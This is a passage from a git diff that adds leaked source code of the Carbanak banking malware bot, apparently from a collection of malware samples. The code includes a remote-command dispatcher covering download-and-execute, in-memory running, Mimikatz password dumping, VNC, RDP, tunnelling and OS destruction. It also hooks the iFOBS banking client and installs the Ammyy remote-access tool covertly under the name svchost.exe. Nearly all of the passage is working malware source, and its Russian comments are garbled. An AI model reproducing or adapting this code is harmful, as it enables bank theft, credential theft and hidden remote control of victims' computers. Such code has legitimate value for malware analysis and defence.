arg, HandlerLoaded_z_ini, 0, (DWORD)eventLoaded );+ if( API(KERNEL32, WaitForSingleObject)( eventLoaded, 10000 ) == WAIT_OBJECT_0 )+ {+ //z.ini ��������+ char ACCOUNTID[16];+ GetPathInIFobsFolder( path, _CS_("z.ini") );+ API(KERNEL32, GetPrivateProfileStringA)( _CS_("Data"), _CS_("ACCOUNTID"), 0, ACCOUNTID, sizeof(ACCOUNTID), path );+ API(KERNEL32, WritePrivateProfileStringA)( DECODE_STRING(nameGlobal), _CS_("A0"), ACCOUNTID, pathIFobsIni );+ }+ API(KERNEL32, CloseHandle)(eventLoaded);+ }+ else if( arg.Cmp( _CS_("f5") ) == 0 )+ f5 = true;+ else if( arg.Cmp( _CS_("del") ) == 0 )+ DeletePlugins();+ else if( arg.Cmp( _CS_("freezebal") ) == 0 )+ if( i + 1 < args.Count() )+ {+ API(KERNEL32, WritePrivateProfileStringA)( DECODE_STRING(nameGlobal), arg, args[i + 1]->c_str(), pathIFobsIni );+ }+ }++ if( f5 )+ {+ HWND wnd = API(USER32, FindWindowA)( _CS_("TMainForm.UnicodeClass"), 0 );+ if( wnd ) Process::SendMsg( wnd, WM_KEYDOWN, (WPARAM)VK_F5, 0 );+ }+#ifdef ON_VIDEOSERVER+ ManagerServer::StartVideo( _CS_("ifobs") );+#endif+}+++}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/system/system.cpp b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/system/system.cppnew file mode 100644index 0000000..f653051--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/system/system.cpp@@ -0,0 +1,18 @@+#include "system.h"++namespace System+{++void Start( uint hash, StringBuilder& nameProcess, StringBuilder& path )+{+#ifdef ON_IFOBS+ if( hash == IFobs::HASH_PROCESS )+ IFobs::Start( hash, nameProcess, path );+#endif++#ifdef ON_FORMGRABBER+ FormGrabber::Start( hash, nameProcess, path );+#endif+}++}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/task.cpp b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/task.cppnew file mode 100644index 0000000..b817588--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/task.cpp@@ -0,0 +1,2063 @@+#include "task.h"+#include "core\misc.h"+#include "core\debug.h"+#include "task.h"+#include "core\http.h"+#include "core\file.h"+#include "core\pipe.h"+#include "core\cab.h"+#include "core\util.h"+#include "core\HttpProxy.h"+#include "core\ThroughTunnel.h"+#include "core\pe.h"+#include "core\runinmem.h"+#include "service.h"+#include "Manager.h"+#include "main.h"+#include "sandbox.h"+#include "tools.h"+#include "system.h"+#include "other.h"+#include "errors.h"+#include "plugins.h"++TaskServer::TaskServer()+{+ Config::CreateMutex();+}++TaskServer::~TaskServer()+{+}++int TaskServer::Handler( Pipe::Msg* msgIn, void** msgOut )+{+ int ret = 0;+ switch( msgIn->cmd )+ {+ case CmdExecTask:+ Task::ExecCmd( (char*)msgIn->data, msgIn->sz_data );+ break;+ case CmdGetGlobalState:+ GetGlobalState( *((int*)msgIn->data) );+ *msgOut = &state;+ ret = 1;+ break;+ case CmdSetGlobalState:+ SetGlobalState( *((int*)msgIn->data), *((char*)msgIn->data + sizeof(int)) );+ *msgOut = &state;+ ret = 1;+ break;+ case CmdAddStartCmd:+ Task::AddStartCmd( (char*)msgIn->data );+ break;+ }+ return ret;+}++void TaskServer::Disconnect()+{+ DbgMsg( "������ ���������� ������ ����������" );+ Config::ReleaseMutex();+}++bool TaskServer::Reg()+{+ return ManagerServer::RegTaskServer(this);+}++bool TaskServer::ExecTask( const char* namePipe, const char* cmd, int len )+{+ return PipeClient::Send( namePipe, CmdExecTask, cmd, len );+}++namespace Task+{++static HANDLE hbotExe = 0;++static HANDLE hconfigFile = 0;+static StringArray* saConfigFile = 0; //������� ����������� ��� �������� ������� (����)+static char* stateConfigFile = 0; //����������� � ������� ��������� ���� (������� � ������� - state)+CRITICAL_SECTION csConfigFile;+bool notSaveConfig = false; //���� true, �� �� ����� ��������� ������ ��� ��� ��������� (������������ ��� ��� ��������)++void ProtectBot()+{+ File::SetAttributes( Config::fileNameBot, FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM );+ hbotExe = File::Open( Config::fileNameBot, GENERIC_READ, OPEN_EXISTING );+}++void UnprotectBot()+{+ File::Close(hbotExe);+ File::SetAttributes( Config::fileNameBot, FILE_ATTRIBUTE_NORMAL ); //������� ��������� ������+}++static void ProtectConfig()+{+ File::SetAttributes( Config::fileNameConfig, FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM );+ hconfigFile = File::Open(Config::fileNameConfig, GENERIC_READ, OPEN_EXISTING );+}++static void UnprotectConfig()+{+ File::Close(hconfigFile);+ File::SetAttributes( Config::fileNameConfig, FILE_ATTRIBUTE_NORMAL ); //������� ��������� ������+}++static void SaveConfig()+{+}++//��� ������� ����������� �������+typedef void (*typeFuncExecCmd)( StringBuilder& cmd, StringBuilder& args );++//������ ����� ������� � ��������+struct CommandFunc+{+ uint nameHash;+ typeFuncExecCmd func;+};++static void ExecCmd_LoadConfig( StringBuilder& cmd, StringBuilder& args );+static void ExecCmd_State( StringBuilder& cmd, StringBuilder& args );++static void ExecCmd_Video( StringBuilder& cmd, StringBuilder& args );+static void ExecCmd_Download( StringBuilder& cmd, StringBuilder& args );+static void ExecCmd_Ammyy( StringBuilder& cmd, StringBuilder& args );+static void ExecCmd_Update( StringBuilder& cmd, StringBuilder& args );+static void ExecCmd_UpdKlgCfg( StringBuilder& cmd, StringBuilder& args );+#ifdef ON_IFOBS+static void ExecCmd_IFobs( StringBuilder& cmd, StringBuilder& args );+#endif+static void ExecCmd_HttpProxy( StringBuilder& cmd, StringBuilder& args );+static void ExecCmd_KillOs( StringBuilder& cmd, StringBuilder& args );+static void ExecCmd_Reboot( StringBuilder& cmd, StringBuilder& args );+static void ExecCmd_Tunnel( StringBuilder& cmd, StringBuilder& args );+static void ExecCmd_Adminka( StringBuilder& cmd, StringBuilder& args );+static void ExecCmd_Server( StringBuilder& cmd, StringBuilder& args );+static void ExecCmd_User( StringBuilder& cmd, StringBuilder& args );+static void ExecCmd_RDP( StringBuilder& cmd, StringBuilder& args );+static void ExecCmd_Secure( StringBuilder& cmd, StringBuilder& args );+static void ExecCmd_Del( StringBuilder& cmd, StringBuilder& args );+static void ExecCmd_StartCmd( StringBuilder& cmd, StringBuilder& args );+static void ExecCmd_RunMem( StringBuilder& cmd, StringBuilder& args );+#ifdef ON_MIMIKATZ+static void ExecCmd_LogonPasswords( StringBuilder& cmd, StringBuilder& args );+#endif+static void ExecCmd_Screenshot( StringBuilder& cmd, StringBuilder& args );+static void ExecCmd_Sleep( StringBuilder& cmd, StringBuilder& args );+static void ExecCmd_Dupl( StringBuilder& cmd, StringBuilder& args );+static void ExecCmd_FindFiles( StringBuilder& cmd, StringBuilder& args );+static void ExecCmd_VNC( StringBuilder& cmd, StringBuilder& args );+static void ExecCmd_RunFile( StringBuilder& cmd, StringBuilder& args );+static void ExecCmd_KillBot( StringBuilder& cmd, StringBuilder& args );+static void ExecCmd_ListProcess( StringBuilder& cmd, StringBuilder& args );+static void ExecCmd_Plugins( StringBuilder& cmd, StringBuilder& args );+static void ExecCmd_TinyMet( StringBuilder& cmd, StringBuilder& args );+static void ExecCmd_KillProcess( StringBuilder& cmd, StringBuilder& args );+static void ExecCmd_Cmd( StringBuilder& cmd, StringBuilder& args );+static void ExecCmd_RunPlug( StringBuilder& cmd, StringBuilder& args );+static void ExecCmd_Autorun( StringBuilder& cmd, StringBuilder& args );+//static void ExecCmd_MsgBox( StringBuilder& cmd, StringBuilder& args );+++//������� ������+CommandFunc commands[] =+{+ { 0x0aa37987 /*loadconfig*/, ExecCmd_LoadConfig }, //�������� ������� ���� (Config::fileNameConfig), ������ ��� ����������� ������������� �����+ { 0x007aa8a5 /*state*/, ExecCmd_State }, //��������� ������������ ��������� ����++ { 0x007cfabf /*video*/, ExecCmd_Video },+ { 0x06e533c4 /*download*/, ExecCmd_Download },+ { 0x00684509 /*ammyy*/, ExecCmd_Ammyy },+ { 0x07c6a8a5 /*update*/, ExecCmd_Update },+ { 0x0b22a5a7 /*updklgcfg*/, ExecCmd_UpdKlgCfg },+#ifdef ON_IFOBS+ { 0x006fd593 /*ifobs*/, ExecCmd_IFobs },+#endif+ { 0x0b77f949 /*httpproxy*/, ExecCmd_HttpProxy },+ { 0x07203363 /*killos*/, ExecCmd_KillOs },+ { 0x078b9664 /*reboot*/, ExecCmd_Reboot },+ { 0x07bc54bc /*tunnel*/, ExecCmd_Tunnel },+ { 0x07b40571 /*adminka*/, ExecCmd_Adminka },+ { 0x079c9cc2 /*server*/, ExecCmd_Server },+ { 0x0007c9c2 /*user*/, ExecCmd_User },+ { 0x000078b0 /*rdp*/, ExecCmd_RDP },+ { 0x079bac85 /*secure*/, ExecCmd_Secure },+ { 0x00006abc /*del*/, ExecCmd_Del },+ { 0x0a89af94 /*startcmd*/, ExecCmd_StartCmd },+ { 0x079c53bd /*runmem*/, ExecCmd_RunMem },+#ifdef ON_MIMIKATZ+ { 0x0f4c3903 /*logonpasswords*/, ExecCmd_LogonPasswords },+#endif+ { 0x0bc205e4 /*screenshot*/, ExecCmd_Screenshot },+ { 0x007a2bc0 /*sleep*/, ExecCmd_Sleep },+ { 0x0006bc6c /*dupl*/, ExecCmd_Dupl },+ { 0x04acafc3 /*findfiles*/, ExecCmd_FindFiles },+ { 0x00007d43 /*vnc*/, ExecCmd_VNC },+ { 0x09c4d055 /*runfile*/, ExecCmd_RunFile },+ { 0x02032914 /*killbot*/, ExecCmd_KillBot },+ { 0x08069613 /*listprocess*/, ExecCmd_ListProcess },+ { 0x073be023 /*plugins*/, ExecCmd_Plugins },+ { 0x0b0603b4 /*tinymet*/, ExecCmd_TinyMet },+ { 0x08079f93 /*killprocess*/, ExecCmd_KillProcess },+ { 0x00006a34 /*cmd*/, ExecCmd_Cmd },+ { 0x09c573c7 /*runplug*/, ExecCmd_RunPlug },+ { 0x08cb69de /*autorun*/, ExecCmd_Autorun },+// { 0x0749d968 /*msgbox*/, ExecCmd_MsgBox },+ { 0, 0 }+};++DWORD WINAPI ExecCmdThread( void* data );++bool Init()+{+ hconfigFile = 0;+ saConfigFile = 0;+ stateConfigFile = 0;+ CriticalSection::Init(csConfigFile);+ return true;+}++bool ExecCmd( const char* cmd, int len )+{+ char* data = Str::Duplication( cmd, len );+ return RunThread( ExecCmdThread, data );+}++DWORD WINAPI ExecCmdThread( void* data )+{+ int len = Str::Len( (char*)data );+ StringBuilder text( 0, len + 1, (char*)data, len );+ DbgMsg( "�������� �������: '%s'", text.c_str() );++ StringArray cmds = text.Split('\n');+ for( int i = 0; i < cmds.Count(); i++ )+ {+ char* cmd = cmds[i]->c_str();+ int p = Str::IndexOf( cmd, ' ' );+ if( p < 0 ) //p ����� ��������� �� ������ ����������+ p = cmds[i]->Len();+ else+ {+ cmd[p] = 0;+ p++;+ while( cmd[p] == ' ' ) p++; //������������ �������+ }+ StringBuilder cmdName( 0, p + 1, cmd );+ cmdName.Lower();+ uint nameHash = 0;+ if( cmdName[0] == '@' ) //������� � ���� ���� ��������� ������������ ������+ nameHash = cmdName.ToInt(1);+ else+ nameHash = cmdName.Hash();+ int j = 0;+ while( commands[j].nameHash )+ {+ if( nameHash == commands[j].nameHash )+ {+ StringBuilder args;+ StringBuilderStack<16> cmdHash;+ cmdHash += '@';+ cmdHash += nameHash;+ args = cmd + p;+ commands[j].func( cmdHash, args);+ break;+ }+ j++;+ }+ }++ Mem::Free(data);+ return 0;+}++static void SaveCmdInConfigFile( const StringBuilder& cmd, const StringBuilder& args, bool del, bool onlySave = false )+{+ CriticalSection cs(csConfigFile);+ StringBuilder cmds;+ char end[3]; RN(end);+ int i = 0;+ bool update = onlySave;+ while( i < saConfigFile->Count() )+ {+ bool add = true;+ StringBuilder& s = saConfigFile->Get(i);+ if( !update && s.Cmp( cmd, cmd.Len() ) == 0 && s[cmd.Len()] == ' ' ) //����� ������� ����, ��������+ {+ if( del )+ {+ saConfigFile->Del(i);+ add = false;+ }+ else+ {+ s = cmd;+ s += ' ';+ s += args;+ }+ update = true;+ }+ if( add )+ {+ cmds += s;+ cmds += end;+ i++;+ }+ }+ if( !update && !del )+ {+ StringBuilder s;+ s = cmd;+ s += ' ';+ s += args;+ cmds += s;+ saConfigFile->Add(s);+ }+ if( !notSaveConfig )+ {+ if( hconfigFile )+ {+ UnprotectConfig();+ }+ File::Write( Config::fileNameConfig, cmds );+ ProtectConfig();+ }+}++void AddStartCmd( const char* cmd )+{+ int p = Str::IndexOf( cmd, ' ' );+ if( p < 0 ) p = Str::Len(cmd);+ uint cmdHash = Str::Hash( cmd, p );+ StringBuilderStack<32> cmd2;+ cmd2 += '@';+ cmd2 += cmdHash;+ StringBuilder args2( 0, -1, cmd + p + 1 );+ Task::SaveCmdInConfigFile( cmd2, args2, false );+}++//��������� � ���������� ��� ����� ������������� � ���������� �������+//���� ������ ���� � ����: user$NameUser, ��� NameUser - ��� �����, ���� ������� ������ user, �� ������������ MAIN_USER+//������������ ������ ������� ����� ����� �������+//� ������ s ����� ������� ���������� � �����+static char* GetUserFromCmd( StringBuilder& s )+{+ if( Str::Cmp( s, _CS_("user"), 4 ) ) return 0;+ char* ret = 0;+ int p = 4;+ if( s[p] == '$' ) //������� ��� �����+ {+ int p2 = s.IndexOf(' ');+ if( p2 < 0 ) p2 = s.Len();+ ret = Str::Duplication( s.c_str() + p + 1, p2 - p - 1 );+ p = p2 + 1;+ }+ else+ {+ ret = MAIN_USER;+ p++;+ }+ s.Substring(p);+ return ret;+}++/********************************** ������� loadconfig (����������) ************************************************/+//�������� ���������� ������� ����, ������������ ������ ����� ��� ��� �������+void ExecCmd_LoadConfig( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� loadconfig[%s](%s)", cmd.c_str(), args.c_str() );+ hconfigFile = 0;+ saConfigFile = new StringArray();+ stateConfigFile = 0;+ Mem::Data data;+ notSaveConfig = true; //��������� ���������� �������, ��� ��� ��� �������� ������� ����� ���� ��������� � ������ � ��� ���� �� ����� ��� ���������+ if( File::ReadAll( Config::fileNameConfig, data ) )+ {+ StringBuilder s(data);+ char end[3]; RN(end);+ StringArray sa = s.Split(end);+ //���������������� ���������� ������+ for( int i = 0; i < sa.Count(); i++ )+ {+ StringBuilder& cmd = sa[i];+ if( !cmd.IsEmpty() )+ ExecCmdThread( cmd.c_str() );+ }+ ProtectConfig();+ }+ notSaveConfig = false;+ StringBuilder empty;+ //��������� ������, �� ������ ���� �����-�� ������� ��������� ���� ����� (�����������)+ SaveCmdInConfigFile( empty, empty, false, true );+}++/********************************** ������� state (����������) ************************************************/+//������������� ����������� ��������� ����+void ExecCmd_State( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� state[%s](%s)", cmd.c_str(), args.c_str() );+ stateConfigFile = Str::Duplication(args);+ SaveCmdInConfigFile( cmd, args, false );+}++/********************************** ������� video ************************************************/+//������ �������: video [user$��������] �������� [�����������]+//���� ��� �������� �� �������, �� ������� �� ����� ������+//��� ����� ������ ���� �����������+//������� video off ��������� ����� ������+//������� ������������ � ����� ����� �������� ����� ������+//���� ������� ��� �����, �� ������� ���������� � ����� ��������������� ��� ��������� ������+void ExecCmd_Video( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� video[%s](%s)", cmd.c_str(), args.c_str() );+ args.Lower();+ uint hash = args.Hash();+ if( hash == 0x000075c6 /*off*/ )+ {+ ManagerServer::StopVideo();+ SaveCmdInConfigFile( cmd, args, true );+ }+ else if( hash == 0x00075c2c /*null*/ )+ {+ ManagerServer::SendFirstVideoFrame();+ }+ else+ {+ StringArray ss = args.Split(' ');+ if( ss.Count() > 0 )+ {+ int n = 0;+ char* nameUser = GetUserFromCmd(*ss[n]);+ if( nameUser )+ {+ ManagerServer::VideoServerRestart(nameUser);+ Delay(5000); //���� ���� �������������� ����� �������+ if( nameUser != MAIN_USER ) Str::Free(nameUser);+ n++;+ }+ char* nameVideo = ss[n]->c_str();+ if( *nameVideo )+ {+ DWORD pid = 0;+ if( ss.Count() > n + 1 ) //���� ��� ��������+ {+ n++;+ pid = Process::GetPID( ss[n]->c_str() );+ }+ ManagerServer::StartVideo( nameVideo, pid );+ SaveCmdInConfigFile( cmd, args, false );+ }+ }+ }+}++/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////++//����� �������� ����� �������� ����+static void HandlerDownloadLoadFile( Pipe::AutoMsg msg, DWORD tag )+{+ if( msg->data == 0 ) return;+ DbgMsg("��� ������� download ���� ������� ��������");+ char folder[MAX_PATH], fileName[MAX_PATH];+ API(KERNEL32, GetTempPathA)( sizeof(folder), folder );+ API(KERNEL32, GetTempFileNameA)( folder, 0, 0, fileName );+ File::WriteAll( fileName, msg->data, msg->sz_data );+ DbgMsg("����������� ���� ��������� � '%s' (tag=%08x)", fileName, tag );+ char* nameUser = (char*)tag;+ Sandbox::Exec( fileName, 0, nameUser );+ if( nameUser != MAIN_USER ) Str::Free(nameUser);+}++/******************** ������� download **********************************************************/+//������ �������: download [user$��������] {url | ��� �������}+//��������� ���� �� ��� ��� ����� �������, ��������� ��� �� ��������� ����� � ���������+//���� ������ �������� user, �� ���� ��� ������� ��� ��������, �� ���� ����� ������� ��� ������� ������+static void ExecCmd_Download( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� download[%s](%s)", cmd.c_str(), args.c_str() );+ //�������� ����� ������ ����� ������ � �������� ���������, ������� �������� ������ �������� ������� ����� ����� ��������� �����+ char* nameUser = GetUserFromCmd(args);+ if( args.IndexOf(':') > 0 || args.IndexOf('/') > 0 || args.IndexOf('\\') > 0 )+ ManagerServer::LoadFile( args, HandlerDownloadLoadFile, 0, (DWORD)nameUser );+ else+ ManagerServer::LoadPlugin( args, HandlerDownloadLoadFile, 0, (DWORD)nameUser );+}++/**************************** ������� ammyy *****************************************/+//��� ����������: ���� ������ �� ��� ��������, �� ��������� ammyy.plug (cab �����), �������������, ����������� � ��������� ammy.+//��� ���������� �������� �� ��� ����������� � ���������� �� ������ � ����� ammy\id+//�������� install - ������ ��������� ������ � ����������� ���+//�������� del - ���������� ������� aa.exe � ������� ������+//�������� stop - ������������� ����+//�������� run - ��������� ����+//��� ���������� ���� �������� ��� ������, ���� ��� �� �������, �� ����������� ��� ������� exe++static const char* ammyyExe = _CT_("svchost.exe");+static const char* nameAmmyyPlug = _CT_("ammyy.plug");+static const char* folderAmmyy = _CT_("MSNET");++static bool GetAmmyyID( const StringBuilder& pathAmmy, const StringBuilder& prefix, char* id )+{+ StringBuilder log;+ log = pathAmmy;+ Path::GetPathName(log);+ StringBuilderStack<32> logName( prefix.c_str(), prefix.Len() );+ logName += _CS_("_id.log");+ Path::AppendFile( log, logName );+ DbgMsg( "��� ���� ���� %s", logName );+ StringBuilder exe;+ exe = pathAmmy;+ exe += " -outid";+ bool ret = false;+ if( Sandbox::Exec(exe) )+ {+ for( int i = 0; i < 5; i++ )+ {+ Delay(3000);+ Mem::Data data;+ if( File::ReadAll( log, data ) )+ {+ StringBuilder s(data);+ StringArray sa = s.Split('\n');+ if( sa.Count() > 1 )+ {+ StringBuilder& id2 = sa[0];+ if( id2.Len() > 8 ) //��� � ����� ���+ {+ int p = id2.IndexOf('=');+ if( p > 0 )+ {+ Str::Copy( id, id2.c_str() + p + 1 );+ ret = true;+ break;+ }+ }+ }+ }+ }+ }+ File::Delete(log);+ return ret;+}+//���������� ������� � ����� ���� ������� �������� �� ��������� -outid, ���� ������� ����� �������� ������ ��� ammy ��� ��������� ���������+void GetPrefixAmmyy( const StringBuilder& path, StringBuilder& prefix )+{+ Mem::Data data;+ if( !File::ReadAll( path, data ) ) return;+ int p = data.IndexOf( _CS_("_id.log"), 7 );+ if( p < 0 ) return;+ int p2 = p - 1;+ while( data.p_char()[p2 - 1] ) p2--;+ prefix.Copy( data.p_char() + p2, p - p2 );+}++char* ammyyFiles[] = { _CT_("settings3.bin"), 0 };+//�������� ����� �������� ��� ���� � ����� ����+void CopyAmmyyFiles( const StringBuilder& path, StringBuilder& prefix )+{+ StringBuilder folderFrom, folderTo;+ folderFrom = path;+ Path::GetPathName(folderFrom); //�������� exe+ folderTo = folderFrom;+ Path::GetPathName(folderTo); //�������� ����� ���� �����������+ Path::AppendFile( folderTo, prefix);+ Path::CreateDirectory(folderTo);+ int i = 0;+ while( ammyyFiles[i] )+ {+ StringBuilderStack<64> fileName = DECODE_STRING(ammyyFiles[i]);+ StringBuilder fileFrom, fileTo;+ Path::Combine( fileFrom, folderFrom, fileName );+ Path::Combine( fileTo, folderTo, fileName );+ DbgMsg( "����������� %s -> %s", fileFrom.c_str(), fileTo.c_str() );+ File::Copy( fileFrom, fileTo );+ i++;+ }+}++static bool DelAmmyy();+//����� �������� ������� ammy �������� ����+static void HandlerAmmyyPlugin( Pipe::AutoMsg msg, DWORD )+{+ int err = TaskErr::Succesfully;+ StringBuilderStack<16> comment;+ DbgMsg( "-- %08x %d", msg->data, msg->sz_data );+ if( msg->data == 0 )+ {+ DbgMsg( "������ ammyy.plug �� ������� ���������" );+ err = TaskErr::PluginNotLoad;+ }+ else+ {+ DbgMsg( "������ ammyy.plug ��������" );+ StringBuilderStack<MAX_PATH> path;+ if( Path::GetCSIDLPath( CSIDL_COMMON_APPDATA, path, DECODE_STRING(folderAmmyy) ) )+ {+ DelAmmyy();+ StringBuilderStack<16> nameAA = DECODE_STRING(ammyyExe); //��� �������� ammyy+ Mem::Data data;+ data.Link( msg->data, msg->sz_data );+ if( Cab::Extract( data, path ) )+ {+ DbgMsg( "������ ammyy.plug ����������� � '%s'", path.c_str() );+ //������� ���������������� ����+/*+ StringBuilder am_cfg;+ StringBuilderStack<3> end; end.FillEndStr();+ am_cfg += Config::UID;+ am_cfg += end;+ StringBuilder hosts( MaxSizeHostAdmin, DECODE_STRING(Config::Hosts) );+ StringArray hs = hosts.Split('|');+ for( int i = 0; i < hs.Count(); i++ )+ {+ am_cfg += *hs[i];+ am_cfg += end;+ }+ Path::AppendFile( path, _CS_("am.cfg") );+ File::Write( path, am_cfg );+ Path::GetPathName(path);+*/+ //���������+ Path::AppendFile( path, nameAA );+ AddAllowedprogram(path);+ Delay(1000); //���� ���� � ������������ ���������+ StringBuilderStack<16> prefix;+ GetPrefixAmmyy( path, prefix );+ DbgMsg( "������� ���� ���� %s", prefix.c_str() );+ CopyAmmyyFiles( path, prefix );+ bool serviceOk = false;+ StringBuilderStack<256> nameService, displayName;+ if( Service::CreateNameService( nameService, displayName ) )+ {+ StringBuilder path2;+ path2 = path;+ path2 += _CS_(" -service");+ if( Service::Create( path2, nameService, displayName ) )+ {+ DbgMsg( "���������� ���� ��� ������ '%s' %s'", nameService.c_str(), displayName.c_str() );+ if( Service::Start(nameService) )+ {+ DbgMsg( "���� ������ �������" );+ serviceOk = true;+ }+ }+ }+ if( !serviceOk )+ {+ path += _CS_(" -nogui");+ Sandbox::Exec(path);+ }+ char ID[24];+ Delay(2000); //���� ���� ���������� ����+ for( int i = 0; i < 3; i++ )+ if( GetAmmyyID( path, prefix, ID ) )+ {+ DbgMsg( "ID ���� %s", ID );+ Mem::Data data;+ data.Link( ID, Str::Len(ID) );+ ManagerServer::SendFileToVideoServer( _CS_("ammy"), _CS_("id"), _CS_("txt"), data );+ ManagerServer::SendData( _CS_("ammy_id.txt"), data.Ptr(), data.Len(), false );+ data.Unlink();+ break;+ }+ if( err == TaskErr::Succesfully )+ {+ comment = serviceOk ? _CS_("service") : _CS_("application");+ }+ }+ else+ err = TaskErr::BadCab;+ data.Unlink();+ }+ else+ err = TaskErr::NotCreateDir;+ }+ StringBuilderStack<8> cmd( _CS_("ammy") );+ ManagerServer::SendResExecutedCmd( cmd, err, comment );+}++static bool AmmyIsService( StringBuilder& nameService )+{+ StringBuilderStack<MAX_PATH> path;+ if( Path::GetCSIDLPath( CSIDL_COMMON_APPDATA, path, DECODE_STRING(folderAmmyy) ) )+ {+ Path::AppendFile( path, DECODE_STRING(ammyyExe) );+ path.Lower();+ path += _CS_(" -service");+ if( Service::GetNameService( nameService, path ) )+ return true;+ }+ return false;+}++static bool StopAmmyy();++static bool DelAmmyy()+{+ DbgMsg( "�������� ammyy" );+ bool ret = StopAmmyy();+ StringBuilderStack<MAX_PATH> name;+ if( AmmyIsService(name) )+ {+ if( Service::Delete(name) )+ {+ DbgMsg( "���� ������ ������" );+ ret = true;+ }+ else+ {+ DbgMsg( "���� ������ ������� �� �������" );+ ret = false;+ }+ }++ StringBuilderStack<MAX_PATH> path;+ if( Path::GetCSIDLPath( CSIDL_COMMON_APPDATA, path, DECODE_STRING(folderAmmyy) ) )+ {+ Path::DeleteDirectory(path);+ }+ return ret;+}++//���������� ������ ����+static bool StopAmmyy()+{+ DbgMsg( "��������� ����" );+ StringBuilderStack<MAX_PATH> name;+ if( AmmyIsService(name) )+ {+ DbgMsg( "���� ��� ������ ����������" );+ return Service::Stop(name);+ }+ else+ {+ if( Path::GetCSIDLPath( CSIDL_COMMON_APPDATA, name, DECODE_STRING(folderAmmyy) ) )+ {+ Path::AppendFile( name, DECODE_STRING(ammyyExe) );+ DWORD pid = Process::GetPID( name, true );+ if( pid )+ {+ DbgMsg( "���� ������� ��� ������� �������, �����" );+ return Process::Kill( pid, 5000 );+ }+ else+ {+ DbgMsg( "���� �� �������" );+ return true;+ }+ }+ }+ return false;+}++//�������� ��� ������������� ����+static bool RunAmmyy()+{+ DbgMsg( "������ ����" );+ StringBuilderStack<MAX_PATH> name;+ if( AmmyIsService(name) )+ {+ DbgMsg( "���� ������� ��� ������" );+ return Service::Start(name);+ }+ else+ {+ if( Path::GetCSIDLPath( CSIDL_COMMON_APPDATA, name, DECODE_STRING(folderAmmyy) ) )+ {+ Path::AppendFile( name, DECODE_STRING(ammyyExe) );+ name += _CS_(" -nogui");+ return Sandbox::Exec(name);+ }+ }+ return false;+}++static void RunOrInstallAmmyy( StringBuilder& cmd )+{+ StringBuilderStack<MAX_PATH> path;+ if( Path::GetCSIDLPath( CSIDL_COMMON_APPDATA, path, DECODE_STRING(folderAmmyy) ) )+ {+ StringBuilderStack<16> nameAA = DECODE_STRING(ammyyExe); //��� �������� ammyy+ Path::AppendFile( path, nameAA );+ if( File::IsExists(path) ) //������ ��� ����������+ {+ int err = TaskErr::Succesfully;+ DbgMsg( "Ammyy ��� ����������, ���������" );+ if( !Process::GetPID(nameAA) ) //�� �������+ {+ err = RunAmmyy() ? TaskErr::Succesfully : TaskErr::Wrong;+ }+ else+ err = TaskErr::Runned;+ ManagerServer::SendResExecutedCmd( cmd, err );+ }+ else+ {+ DbgMsg( "Ammy �� ����������, ���������" );+ StringBuilderStack<32> name( DECODE_STRING(nameAmmyyPlug) );+ ManagerServer::LoadPlugin( name, HandlerAmmyyPlugin );+ }+ }+}++static void ExecCmd_Ammyy( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� ammyy[%s](%s)", cmd.c_str(), args.c_str() );+ args.Lower();+ if( args.IsEmpty() )+ {+ RunOrInstallAmmyy(cmd);+ }+ else+ {+ int err = TaskErr::Param;+ uint argHash = args.Hash();+ if( argHash == 0x005aa85c /*install*/ )+ {+ StringBuilderStack<32> name( DECODE_STRING(nameAmmyyPlug) );+ ManagerServer::LoadPlugin( name, HandlerAmmyyPlugin );+ err = - 1;+ }+ else if( argHash == 0x00006abc /*del*/ )+ err = DelAmmyy() ? TaskErr::Succesfully : TaskErr::Wrong;+ else if( argHash == 0x0007ab60 /*stop*/ )+ err = StopAmmyy() ? TaskErr::Succesfully : TaskErr::Wrong;+ else if( argHash == 0x000079be /*run*/ )+ err = RunAmmyy() ? TaskErr::Succesfully : TaskErr::Wrong;+ if( err >= 0 ) ManagerServer::SendResExecutedCmd( cmd, err );+ }+}++///////////////////////////////////////////////////////////////////////////////////////////////++static void UpdateBot( byte* data, int sz_data, bool cold )+{+ char pathNewBot[MAX_PATH];+ const char* path = 0;+ if( sz_data > 0 )+ {+ bool valid = false;+ if( data[0] == 'M' && data[1] == 'Z' )+ {+ if( Config::state & IS_DLL )+ {+ PIMAGE_NT_HEADERS headers = PE::GetNTHeaders( (HMODULE)data );+ if( headers->FileHeader.Characteristics & IMAGE_FILE_DLL )+ valid = true;+ }+ else+ valid = true;+ }+ if( valid )+ {+ Task::UnprotectBot();+ if( File::WriteAll( Config::fileNameBot, data, sz_data ) )+ {+ if( cold )+ Task::ProtectBot();+ else+ path = Config::fileNameBot;++ DbgMsg( "���������� ������ �������" );+ }+ else+ {+ DbgMsg( "�������� ���� ���� �� �������, ������ ���������� ����� ������" );+ File::GetTempFile(pathNewBot);+ if( File::WriteAll( pathNewBot, data, sz_data ) )+ {+ DbgMsg( "���������� '%s' -> '%s'", pathNewBot, Config::fileNameBot );+ API(KERNEL32, MoveFileExA)( Config::fileNameBot, pathNewBot, MOVEFILE_REPLACE_EXISTING | MOVEFILE_DELAY_UNTIL_REBOOT );+ path = pathNewBot;+ }+ }+ if( !cold && path ) //������� ������+ {+ Config::ReleaseMutex();+ if( Config::state & IS_DLL )+ {+ Config::SaveNameManager();+ if( API(KERNEL32, LoadLibraryA)(path) ) //��������� ������ ����+ PipeClient::Send( Config::nameManager, PipeServer::CmdDisconnect, 0, 0 );+ }+ else+ {+ Process::Exec( _CS_("%s -u %s"), path, Config::nameManager );+ PipeClient::Send( Config::nameManager, PipeServer::CmdDisconnect, 0, 0 );+ }+ }+ }+ }+}++static void HandlerUpdatePlugin( Pipe::AutoMsg msg, 